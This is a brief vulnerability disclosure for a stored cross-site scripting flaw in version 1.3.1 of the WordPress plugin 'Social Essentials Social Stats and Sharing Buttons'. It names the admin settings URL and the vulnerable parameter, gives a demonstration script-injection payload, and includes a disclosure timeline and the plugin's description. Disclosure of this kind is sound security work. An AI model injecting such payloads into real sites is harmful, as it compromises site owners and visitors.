WordPress Social Essentials Social Stats And Sharing Buttons 1.3.1 XSS

`Plugin Name : Social Essentials Social Stats and Sharing Buttons  
  
Effected Version : 1.3.1 (and most probably lower version's if any)  
  
Vulnerability : A3-Cross-Site Scripting (XSS)  
  
Identified by : Madhu Akula  
  
  
  
Technical Details  
  
Minimum Level of Access Required : Administrator  
  
PoC - (Proof of Concept) :  
  
The following field put the payload as below  
  
http://localhost/wp-admin/admin.php?page=social-essentils-setup  
se_settings_twitter_username = “><script>alert(1)</script>  
  
Vulnerable Parameter : se_settings_twitter_username  
  
Type of XSS : Stored  
  
  
  
  
Disclosure Timeline  
  
Vendor Contacted : 2014-08-04  
  
Plugin Status : Closed on 2014-08-07  
  
Public Disclosure : October 3, 2015  
  
CVE Number : Not assigned yet  
  
Plugin Description :  
  
Social Essentials provides you with:  
  
A simple way to add social sharing buttons to your posts and pages.  
A simple way to add a call-to action to your buttons, to increase social engagement.  
Stats that show you how much your content is being shared, in detail.  
The following social networks are supported for both stats and buttons:  
  
Twitter  
Facebook (like/share button)  
Google+  
StumbleUpon  
Pinterest  
We've chosen to include these, because they are the most powerful in terms of driving traffic to your site. It's better to focus on the top networks than to add buttons for hundreds of social sites that no one uses.  
  
This plugin now features improved Pinterest buttons! The plugin works around the inherent limitations of the Pinterest sharing button and offers the visitor a choice of which image on your page they want to pin. Alternatively, you can also have full control and manually select the image URL and description text for the Pinterest share.  
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